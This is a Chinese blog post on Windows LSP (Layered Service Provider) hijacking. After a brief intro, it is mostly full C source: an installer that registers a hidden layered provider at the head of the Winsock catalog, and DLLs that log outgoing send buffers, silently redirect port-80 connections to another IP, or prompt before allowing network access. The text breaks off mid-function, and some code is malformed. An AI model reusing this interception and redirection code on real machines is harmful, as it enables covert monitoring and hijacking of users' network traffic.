首页 > 其他分享 >LSP 网络劫持(Layered Service Provider Hijacking)

LSP 网络劫持(Layered Service Provider Hijacking)

时间:2024-01-15 18:01:10浏览次数:31  
标签:info 协议 ProtocolChain return Hijacking Service int Layered pProtoInfo

image

LSP 简介:

分层服务提供商(Layered Service Provider,LSP)是一种可以扩展Winsock作为应用程序的 Windows 的网络套接字工具的机制。Winsock LSP 可用于非常广泛的实用用途,包括 Internet 家长控制 (parental control) 和 Web 内容筛选。在以前版本的 Windows XP 中,删除不正确的(也称为“buggy”)LSP 可能会导致注册表中的 Winsock 目录损坏,潜在的导致所有网络连接的丢失。 LSP就是TCP/IP等协议的接口.LSP用在正途上可以方便程序员们编写监视系统网络通讯情况的Sniffer,可是现在常见的LSP都被用于浏览器劫持。

“浏览器劫持” 或者 “分层服务提供程序”。某些间谍软件会修改Winsock 2的设置,进行LSP“浏览器劫持”,所有与网络交换的信息都要通过这些间谍软件,从而使得它们可以监控使用者的信息。著名的如New net插件或WebHancer组件,它们是安装一些软件时带来的你不想要的东西。

LSP 劫持(Layered Service Provider Hijacking):

是一种计算机安全漏洞和攻击技术,通常与Windows操作系统相关。它涉及到网络协议栈中的层式服务提供程序(Layered Service Provider,LSP),这些提供程序用于修改、监视或过滤网络流量。LSP劫持是指攻击者通过操纵LSP,以在网络通信中插入恶意代码或进行网络监听,从而捕获敏感信息或执行恶意操作。

应用程序通过 socket 进行网络通信时会调用 ws2_32.dll 的导出函数,比如 send/recv 等,而这些函数时通过更底层的 LSP 提供的 SPI(服务提供者接口)实现的。

如果有多个符合条件的 SPI,系统将会调用在 winsock 目录最前面的那个 。所以注册一个 SPI 并插入到 winsock 目录的最前面就可以劫持了。另外劫持 LSP 需要将代码卸载 DLL 里。

实现代码:

主程序:

#include <Ws2spi.h>
#include <Sporder.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Rpcrt4.lib")
 
// LSP硬编码
GUID  ProviderGuid = { 0xd3c21122, 0x85e1, 0x48f3, { 0x9a, 0xb6, 0x23, 0xd9, 0x0c, 0x73, 0x07, 0xef } };
 
LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
{
	DWORD dwSize = 0;
	int nError;
	LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
 
	if (::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
	{
		if (nError != WSAENOBUFS)return NULL;
	}
 
	pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
	*lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
	return pProtoInfo;
}
 
void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
{
	::GlobalFree(pProtoInfo);
}
 
BOOL InstallProvider(WCHAR *pwszPathName)
{
 
	WCHAR wszLSPName[] = L"PhoenixLSP";
	LPWSAPROTOCOL_INFOW pProtoInfo;
	int nProtocols;
	WSAPROTOCOL_INFOW OriginalProtocolInfo[3];
	DWORD            dwOrigCatalogId[3];
	int nArrayCount = 0;
	DWORD dwLayeredCatalogId;       // 我们分层协议的目录ID号
	int nError;
 
	// 找到我们的下层协议,将信息放入数组中
	// 枚举所有服务程序提供者
	pProtoInfo = GetProvider(&nProtocols);
	BOOL bFindUdp = FALSE;
	BOOL bFindTcp = FALSE;
	BOOL bFindRaw = FALSE;
	for (int i = 0; i < nProtocols; i++)
	{
		if (pProtoInfo[i].iAddressFamily == AF_INET)
		{
 
			if (!bFindUdp && pProtoInfo[i].iProtocol == IPPROTO_UDP)
			{
 
				memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
				OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
				OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
				dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
				bFindUdp = TRUE;
			}
 
			if (!bFindTcp && pProtoInfo[i].iProtocol == IPPROTO_TCP)
			{
				memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
				OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
				OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
				dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
				bFindTcp = TRUE;
			}
 
			if (!bFindRaw && pProtoInfo[i].iProtocol == IPPROTO_IP)
			{
				memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
				OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
				OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
				dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
				bFindRaw = TRUE;
			}
		}
	}
 
	// 安装我们的分层协议,获取一个dwLayeredCatalogId
	// 随便找一个下层协议的结构复制过来即可
	WSAPROTOCOL_INFOW LayeredProtocolInfo;
	memcpy(&LayeredProtocolInfo, &OriginalProtocolInfo[0], sizeof(WSAPROTOCOL_INFOW));
	// 修改协议名称,类型,设置PFL_HIDDEN标志
	wcscpy(LayeredProtocolInfo.szProtocol, wszLSPName);
	LayeredProtocolInfo.ProtocolChain.ChainLen = LAYERED_PROTOCOL; // 0;
	LayeredProtocolInfo.dwProviderFlags |= PFL_HIDDEN;
 
	// 安装
	//WSAEPROVIDERFAILEDINIT---------DLL导出函数需要导出WSPStartup
	if (::WSCInstallProvider(&ProviderGuid,pwszPathName, &LayeredProtocolInfo, 1, &nError) == SOCKET_ERROR)
	{
		int  a = GetLastError();
		printf("WSCInstallProvider  %d\n", a);
		getchar();
		getchar();
		return FALSE;
	}
 
	// 重新枚举协议,获取分层协议的目录ID号
	FreeProvider(pProtoInfo);
	pProtoInfo = GetProvider(&nProtocols);
	for (int i = 0; i < nProtocols; i++)
	{
		if (memcmp(&pProtoInfo[i].ProviderId, &ProviderGuid, sizeof(ProviderGuid)) == 0)
		{
			dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
			break;
		}
	}
 
	// 安装协议链
	// 修改协议名称,类型
	WCHAR wszChainName[WSAPROTOCOL_LEN + 1];
	for (int i = 0; i < nArrayCount; i++)
	{
		swprintf(wszChainName, L"%ws over %ws", wszLSPName, OriginalProtocolInfo[i].szProtocol);
		wcscpy(OriginalProtocolInfo[i].szProtocol, wszChainName);
		if (OriginalProtocolInfo[i].ProtocolChain.ChainLen == 1)
		{
			OriginalProtocolInfo[i].ProtocolChain.ChainEntries[1] = dwOrigCatalogId[i];
		}
		else
		{
 
			for (int j = OriginalProtocolInfo[i].ProtocolChain.ChainLen; j > 0; j--)
			{
				OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j]= OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j - 1];
			}
 
		}
		OriginalProtocolInfo[i].ProtocolChain.ChainLen++;
		OriginalProtocolInfo[i].ProtocolChain.ChainEntries[0] = dwLayeredCatalogId;
	}
 
	// 获取一个Guid,安装之
	GUID ProviderChainGuid;
	if (::UuidCreate(&ProviderChainGuid) == RPC_S_OK)
	{
 
		if (WSCInstallProvider(&ProviderChainGuid,pwszPathName, OriginalProtocolInfo, nArrayCount, &nError) == SOCKET_ERROR)
		{
			printf("UuidCreate1\n");
			return FALSE;
		}
	}
	else
	{
		printf("UuidCreate2\n");
		return FALSE;
	}
		
	// 重新排序Winsock目录,将我们的协议链提前
	// 重新枚举安装的协议
	FreeProvider(pProtoInfo);
	pProtoInfo = GetProvider(&nProtocols);
	DWORD dwIds[20];
	int nIndex = 0;
 
	// 添加我们的协议链
 
	for (int i = 0; i < nProtocols; i++)
	{
		if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
			dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
	}
 
	// 添加其它协议
	for (int i = 0; i < nProtocols; i++)
	{
 
		if ((pProtoInfo[i].ProtocolChain.ChainLen <= 1) ||(pProtoInfo[i].ProtocolChain.ChainEntries[0] != dwLayeredCatalogId))
			dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
	}
 
	// 重新排序Winsock目录
 
	if ((nError = ::WSCWriteProviderOrder(dwIds, nIndex)) != ERROR_SUCCESS)
	{
		printf("WSCWriteProviderOrder\n");
		return FALSE;
	}
 
	FreeProvider(pProtoInfo);
	printf("OK\n");
	return TRUE;
 
}
 
BOOL RemoveProvider()
{
 
	LPWSAPROTOCOL_INFOW pProtoInfo;
	int nProtocols;
	DWORD dwLayeredCatalogId;
 
	// 根据Guid取得分层协议的目录ID号
	pProtoInfo = GetProvider(&nProtocols);
	int nError;
	int i = 0;
	for ( i = 0; i < nProtocols; i++)
	{
		if (memcmp(&ProviderGuid, &pProtoInfo[i].ProviderId, sizeof(ProviderGuid)) == 0)
		{
			dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
			break;
		}
	}
 
	if (i < nProtocols)
	{
 
		// 移除协议链
		for (i = 0; i < nProtocols; i++)
		{
			if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
			{
				WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError);
			}
		}
 
		// 移除分层协议
		::WSCDeinstallProvider(&ProviderGuid, &nError);
	}
	return TRUE;
}
 
void main(void)
{
    //安装协议
	TCHAR szPathName[256];
	TCHAR* p;
	if (::GetFullPathName(L"LSP.dll", 256, szPathName, &p) != 0)
	{
		if (InstallProvider(szPathName))
		{
			printf(" Install successully. \n");
		}
	}
 
    system("pause");
 
	//移除协议
	if (RemoveProvider())
		printf(" Deinstall successully. \n");
	else
		printf(" Deinstall failed. \n");
 
	system("pause");
	return 0;
}

LSP.Dll

#include <Winsock2.h>
#include <Ws2spi.h>
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(lib, "Ws2_32.lib")
 
WSPUPCALLTABLE g_pUpCallTable;      // 上层函数列表。如果LSP创建了自己的伪句柄,才使用这个函数列表
WSPPROC_TABLE g_NextProcTable;      // 下层函数列表
TCHAR   g_szCurrentApp[MAX_PATH];   // 当前调用本DLL的程序的名称
 
BOOL APIENTRY DllMain(HANDLE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		GetModuleFileName(NULL, g_szCurrentApp, MAX_PATH);
	}
	break;
	}
	return TRUE;
}
 
LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
{
 
	DWORD dwSize = 0;
	int nError;
	LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
 
	// 取得需要的长度
	if (WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
	{
		if (nError != WSAENOBUFS)return NULL;
	}
 
	pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
	*lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
	return pProtoInfo;
 
}
 
void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
{
	GlobalFree(pProtoInfo);
}
 
int WSPAPI WSPSendTo(
	SOCKET          s,
	LPWSABUF        lpBuffers,
	DWORD           dwBufferCount,
	LPDWORD         lpNumberOfBytesSent,
	DWORD           dwFlags,
	const struct sockaddr FAR * lpTo,
	int             iTolen,
	LPWSAOVERLAPPED lpOverlapped,
	LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
	LPWSATHREADID   lpThreadId,
	LPINT           lpErrno
	)
 
{
 
	OutputDebugString(g_szCurrentApp);
 
	// 拒绝所有目的端口为4567的UDP封包
	SOCKADDR_IN sa = *(SOCKADDR_IN*)lpTo;
	if (sa.sin_port == htons(4567))
	{
 
		int iError;
		g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError);
		*lpErrno = WSAECONNABORTED;
		return SOCKET_ERROR;
	}
	return g_NextProcTable.lpWSPSendTo(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpTo, iTolen, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
}
 
int WSPAPI  WSPSend(
	SOCKET s,
	LPWSABUF lpBuffers,
	DWORD dwBufferCount,
	LPDWORD lpNumberOfBytesSent,
	DWORD dwFlags,
	LPWSAOVERLAPPED lpOverlapped,
	LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
	LPWSATHREADID lpThreadId,
	LPINT lpErrno
	)
{
 
	if (lpBuffers)
	{
		if (lpBuffers->len > 1 && lpBuffers->buf)
		{
			char szText[20480] = { 0 };
			_snprintf_s(szText, sizeof(szText), ("当前数据:长度%d  数据%s\n"), lpBuffers->len, lpBuffers->buf);
			OutputDebugStringA(szText);
		}
	}
 
	return g_NextProcTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
}
 
int WSPAPI  WSPConnect(
	SOCKET s,
	const struct sockaddr FAR* name,
	int namelen,
	LPWSABUF lpCallerData,
	LPWSABUF lpCalleeData,
	LPQOS lpSQOS,
	LPQOS lpGQOS,
	LPINT lpErrno
	)
{
	
	PSOCKADDR_IN paddrSrv = (SOCKADDR_IN*)name;
	if (paddrSrv)
	{
		if (paddrSrv->sin_family==AF_INET)
		{
			if (ntohs(paddrSrv->sin_port)==80)
			{
				OutputDebugString(g_szCurrentApp);
 
				char szText[MAX_PATH] = { 0 };
				_snprintf_s(szText, sizeof(szText), ("当前端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
				OutputDebugStringA(szText);
 
				paddrSrv->sin_addr.S_un.S_addr = inet_addr("8.8.8.8");
				_snprintf_s(szText, sizeof(szText), ("修改后端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
				OutputDebugStringA(szText);
 
			}
		}
	}
 
	return g_NextProcTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}
 
 
int WSPAPI WSPStartup(
	WORD wVersionRequested,
	LPWSPDATA lpWSPData,
	LPWSAPROTOCOL_INFO lpProtocolInfo,
	WSPUPCALLTABLE UpcallTable,
	LPWSPPROC_TABLE lpProcTable
	)
 
{
 
	OutputDebugString(g_szCurrentApp);
	if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
	{
		return WSAEPROVIDERFAILEDINIT;
	}
 
	// 保存向上调用的函数表指针(这里我们不使用它)
	g_pUpCallTable = UpcallTable;
 
	// 枚举协议,找到下层协议的WSAPROTOCOL_INFOW结构
	WSAPROTOCOL_INFOW   NextProtocolInfo;
	int nTotalProtos;
	LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos);
 
	// 下层入口ID
	int i = 0;
	DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1];
	for ( i = 0; i < nTotalProtos; i++)
	{
		if (pProtoInfo[i].dwCatalogEntryId == dwBaseEntryId)
		{
			memcpy(&NextProtocolInfo, &pProtoInfo[i], sizeof(NextProtocolInfo));
			break;
		}
	}
 
	if (i >= nTotalProtos)
	{
		OutputDebugString(TEXT("WSPStartup:  Can not find underlying protocol"));
		return WSAEPROVIDERFAILEDINIT;
	}
 
	// 加载下层协议的DLL
	int nError;
	TCHAR szBaseProviderDll[MAX_PATH];
	int nLen = MAX_PATH;
 
	// 取得下层提供程序DLL路径
	if (::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
	{
		OutputDebugString(TEXT("WSPStartup: WSCGetProviderPath() failed"));
		return WSAEPROVIDERFAILEDINIT;
	}
 
	if (!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
	{
		OutputDebugString(TEXT("WSPStartup:  ExpandEnvironmentStrings() failed"));
		return WSAEPROVIDERFAILEDINIT;
	}
 
	// 加载下层提供程序
 
	HMODULE hModule = ::LoadLibrary(szBaseProviderDll);
	if (hModule == NULL)
	{
		//ODS1(L" WSPStartup:  LoadLibrary() failed %d \n", ::GetLastError());
		OutputDebugString(TEXT("WSPStartup:  LoadLibrary() failed"));
		return WSAEPROVIDERFAILEDINIT;
	}
 
	// 导入下层提供程序的WSPStartup函数
 
	LPWSPSTARTUP  pfnWSPStartup = NULL;
	pfnWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup");
	if (pfnWSPStartup == NULL)
	{
		//ODS1(L" WSPStartup:  GetProcAddress() failed %d \n", ::GetLastError());
		OutputDebugString(TEXT("WSPStartup:  GetProcAddress() failed"));
		return WSAEPROVIDERFAILEDINIT;
	}
 
	// 调用下层提供程序的WSPStartup函数
 
	LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
	if (NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
		pInfo = &NextProtocolInfo;
 
	int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
	if (nRet != ERROR_SUCCESS)
	{
		OutputDebugString(TEXT(" WSPStartup:  underlying provider's WSPStartup() failed"));
		return nRet;
	}
 
	// 保存下层提供者的函数表
	g_NextProcTable = *lpProcTable;
 
	// 修改传递给上层的函数表,Hook感兴趣的函数,这里做为示例,仅Hook了WSPSendTo函数
	// 您还可以Hook其它函数,如WSPSocket、WSPCloseSocket、WSPConnect等
 
	//lpProcTable->lpWSPSendTo = WSPSendTo;
	lpProcTable->lpWSPSend = WSPSend;
	lpProcTable->lpWSPConnect = WSPConnect;
	FreeProvider(pProtoInfo);
	return nRet;
 
}

DLL源码:

// 全局遍历
WCHAR exepath[MAX_PATH] = { 0 };
WSPPROC_TABLE trueTable = { 0 };
 
int GetProvider(LPWSAPROTOCOL_INFOW &pProtoInfo)
{
    //  首次调用,pProtoInfo传入NULL,取得需要的缓冲区长度
    DWORD dwSize = 0;
    int nError = 0;
    if (WSCEnumProtocols(NULL, NULL, &dwSize, &nError) == SOCKET_ERROR)
    {
        if (nError != WSAENOBUFS)
        {
            return 0;
        }
    }
    // 申请足够缓冲区内存。
    pProtoInfo = (LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR, dwSize);
    if (pProtoInfo == NULL)
    {
        return 0;
    }
    //再次调用WSCEnumProtocols函数
    return WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
}
 
int WSPConnect(SOCKET s, const struct sockaddr FAR* name, int namelen,
        LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS,
        LPINT lpErrno)
{
    SOCKADDR_IN addr = *(SOCKADDR_IN*)name;
    if (addr.sin_port==htons(80))
    {
        MessageBoxW(0, L"有程序访问外网80端口", L"拒绝访问", 0);
        return SOCKET_ERROR;
    }
    return trueTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}
 
int WSPAPI WSPStartup(
    WORD wVersionRequested,
    LPWSPDATA lpWSPData,
    LPWSAPROTOCOL_INFOW lpProtocolInfo,
    WSPUPCALLTABLE UpcallTable,
    LPWSPPROC_TABLE lpProcTable
)
/*
    当应用程序通过SOCKET创建socket时会调用系统根据Winsock目录和程序的需要来将对应的传输服务提供者,即
    一个dll加载到目标进程中. 然后调用该dll提供的WSPStartup函数来初始化.初始化的
    目的就是为了通过调用这个函数来获取该这次操作socket的API函数对应的SPI
    这就是windows上写socket时之前必须通过WSAStartup来进行socket初始化的原因
    该函数的lpProcTable 参数是个结构体,保存了所有的SPI函数.也就是可以从这个参数来获取SPI
    所以只需导出这个函数,然后将其他的SPI填写到lpProcTable中,最后返回给程序
    以上都是正常情况下的调用过程. 如果我们让系统加载我们给它提供的dll就可以导出该函数,并
    hook掉lpProcTable中的成员进行监控. 但是我们hook该函数后允许的话应该最后要调用正常的SPI,
    这时参数lpProtocolInfo就能派上用场. 通过该参数可以获取原来的协议的目录id,然后遍历winsock
    目录找到对应的协议的传输服务提供者即一个dll路径,通过加载该dll并调用其中的WSPStartup即可获取
    真正的SPI,然后调用它.最终可以实现监控,修改,拦截等功能
*/
{
    //我们编写的DLL用于协议链中,所以如果是基础协议或分层协议使用则直接返回错误
    if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    WCHAR exename[100] = { 0 };
    wsprintf(exename, L"应用程序: %ls 正在联网,是否允许?", exepath);
    if (MessageBoxW(0,exename,L"温馨提示",MB_YESNO|MB_ICONWARNING)==IDNO)
    {
        MessageBoxW(0, L"已拦截", L"提示", 0);
        return WSAEPROVIDERFAILEDINIT;
    }
    // 枚举协议,找到下层协议的WSAPROTOCOL_INFOW结构    
    WSAPROTOCOL_INFOW    trueProtocolInfo;    //保存真正的协议结构
    LPWSAPROTOCOL_INFOW pProtoInfo = NULL;    
    int allproto = GetProvider(pProtoInfo);
    DWORD trueId = lpProtocolInfo->ProtocolChain.ChainEntries[1];//获取真正的协议目录id
    int i;
    //遍历查找真正的协议结构
    for (i = 0; i < allproto; i++)
    {
        if (pProtoInfo[i].dwCatalogEntryId==trueId)
        {
            memcpy(&trueProtocolInfo, &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
            break;
        }
    }
    //没找到就返回失败
    if (i>=allproto)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    int nError;
    wchar_t szBaseProviderDll[MAX_PATH];//保存真正dll路径
    int nLen = MAX_PATH;
    // 取得下层提供程序DLL路径
    if (WSCGetProviderPath(&trueProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    //上面的函数执行后路径中会存在环境变量,通过下面展开环境变量
    if (!ExpandEnvironmentStringsW(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
    {
        return WSAEPROVIDERFAILEDINIT;
    }
 
    // 加载真正dll
    HMODULE hModule = LoadLibraryW(szBaseProviderDll);
    if (hModule == NULL)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
 
    // 导入真正dll的WSPStartup函数
    LPWSPSTARTUP  pfnWSPStartup = NULL;
    pfnWSPStartup = (LPWSPSTARTUP)GetProcAddress(hModule, "WSPStartup");
    if (pfnWSPStartup == NULL)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
 
    // 调用下层提供程序的WSPStartup函数以填充SPI地址表
    LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
    //
    if (trueProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
    {
        pInfo = &trueProtocolInfo;
    }
    else
    {
        for (int j = 0; j<lpProtocolInfo->ProtocolChain.ChainLen; j++)
        {
            lpProtocolInfo->ProtocolChain.ChainEntries[j]
                = lpProtocolInfo->ProtocolChain.ChainEntries[j + 1];
        }
        lpProtocolInfo->ProtocolChain.ChainLen--;
    }
    //调用真正的WSPStartup, 注意参数,协议结构参数必须是原来我们想劫持的那个协议结构
    int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
    if (nRet != ERROR_SUCCESS)
    {
        return nRet;
    }
    memcpy(&trueTable, lpProcTable, sizeof(WSPPROC_TABLE)); //保存到trueTable中以便调用
    //进行api替换
    lpProcTable->lpWSPConnect = (LPWSPCONNECT)WSPConnect;
 
}
 
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        GetModuleFileNameW(0, exepath, MAX_PATH * sizeof(wchar_t));
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

主程序:

#include<Windows.h>
#include<locale.h>
#include<stdio.h>
#include<malloc.h>
#pragma comment(lib,"ws2_32.lib")
 
GUID layerGuid;
 
#define layerName L"freesec"
 
DWORD findGuid()
{
    //枚举winsock目录中的协议
    LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
    DWORD size = 0;            //大小
    DWORD num;                //数量
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    int i;
    for ( i= 0; i < num; i++)
    {
        if (lstrcmpW(info[i].szProtocol,layerName)==0)
        {
            memcpy(&layerGuid, &info[i].ProviderId, sizeof(GUID));
            break;
        }
    }
    free(info);
    if (i==num)//没找到
    {
        return 0;
    }
    return 1;
}
DWORD lspInject()
{
    //枚举winsock目录中的协议
    LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
    DWORD size = 0;            //大小
    DWORD num;                //数量
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    DWORD trueId;            //存储被安装的提供者的目录id
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
 
    WCHAR supplier[] = layerName;
    WCHAR dllpath[] = L"E:\\0day\\shellcode\\Debug\\freesec.dll";//指定你的dll文件
    DWORD myId;
    int proto = IPPROTO_TCP; //目标协议
 
    WSAPROTOCOL_INFOW save = { 0 };    //用于存储指定协议的正常的提供者,最后用来作为分层协议和协议链的模板for (int i = 0; i < num; i++)
    {//找符合条件的提供者,但不能是分层协议
        if (info[i].iAddressFamily == AF_INET&&info[i].iProtocol == proto&&info[i].ProtocolChain.ChainLen!=0)
        {
            memcpy(&save, &info[i], sizeof(WSAPROTOCOL_INFOW));    //将原来的基础协议信息保存                                                                
            save.dwServiceFlags1 &= ~XP1_IFS_HANDLES;        //去掉XP1_IFS_HANDLES标志
            trueId = info[i].dwCatalogEntryId;
            break;
        }
    }
 
    //安装分层协议
    WSAPROTOCOL_INFOW Lpi = { 0 }; //新的分层协议
    memcpy(&Lpi, &save, sizeof(WSAPROTOCOL_INFOW)); //以这个保存的系统已有协议作为模板
    lstrcpyW(Lpi.szProtocol, supplier);    //协议名,其实就是一个代号而已,可以随意起名
    Lpi.ProtocolChain.ChainLen = LAYERED_PROTOCOL;    //设置为分层协议
    Lpi.dwProviderFlags |= PFL_HIDDEN;        //?
    GUID pguid;                    //分层协议的guid
    UuidCreate(&pguid);
    memcpy(&layerGuid,&pguid,sizeof(GUID));
    if (WSCInstallProvider(&pguid, dllpath, &Lpi, 1, 0) == SOCKET_ERROR)        //安装该分层协议
    {
        free(info);
        return 0;
    }
 
    //重新枚举协议以获取分层协议的目录id
    free(info);            //因为添加了一个分层协议,所以需要重新分配内存
    DWORD layerId;        //保存分层协议目录id
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
 
    for (int i = 0; i < num; i++)        //遍历协议,直到找到刚才新增的分层协议
    {
        if (memcmp(&info[i].ProviderId, &pguid, sizeof(GUID)) == 0)
        {
            layerId = info[i].dwCatalogEntryId;        //获取分层协议目录id
        }
    }
 
    //安装协议链
    WCHAR chainName[WSAPROTOCOL_LEN + 1];            //其实就是一个名字代号,和分层协议的名字一样
    wsprintf(chainName, L"%ls over %ls", supplier, save.szProtocol);
    lstrcpyW(save.szProtocol, chainName);        //改名字1
    if (save.ProtocolChain.ChainLen == 1) //如果目标协议的正常提供者是基础协议则将其目录id放在协议链的第2个位置
    {
        save.ProtocolChain.ChainEntries[1] = trueId;        //将id写入到该协议链的ChainEntries数组中,这个数组只有当它是协议链时才有意义
    }
    else       //否则就是协议链提供者
    {
        for (int i = save.ProtocolChain.ChainLen; i > 0; i--)//如果是协议链则将该协议链中其他协议往后移,
                                                             //以便将自己的分层协议插入到链首.但是这个数组最大存7个,所以如果原来就占满了,理论上会挤掉最后一个
        {
            save.ProtocolChain.ChainEntries[i] = save.ProtocolChain.ChainEntries[i - 1];
        }
    }
 
    save.ProtocolChain.ChainEntries[0] = layerId;
    save.ProtocolChain.ChainLen++;
 
    //获取guid,安装协议链
    GUID providerChainGuid;
    UuidCreate(&providerChainGuid);
    if (WSCInstallProvider(&providerChainGuid, dllpath, &save, 1, 0) == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
 
    //重新枚举协议
    free(info);
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    //遍历获取我们的协议链的目录id
    DWORD* chainId = (DWORD*)malloc(num * sizeof(DWORD)); //这个是协议链的目录id数组,把我们的协议链id
                                                          //放在最前面,系统原来的按顺序放后面
    DWORD cindex = 0;
    for (int i = 0; i < num; i++)
    {
        if ((info[i].ProtocolChain.ChainLen > 1) && (info[i].ProtocolChain.ChainEntries[0] == layerId))
        {
            chainId[cindex] = info[i].dwCatalogEntryId;
            cindex++;
        }
    }
    for (int i = 0; i < num; i++)
    {
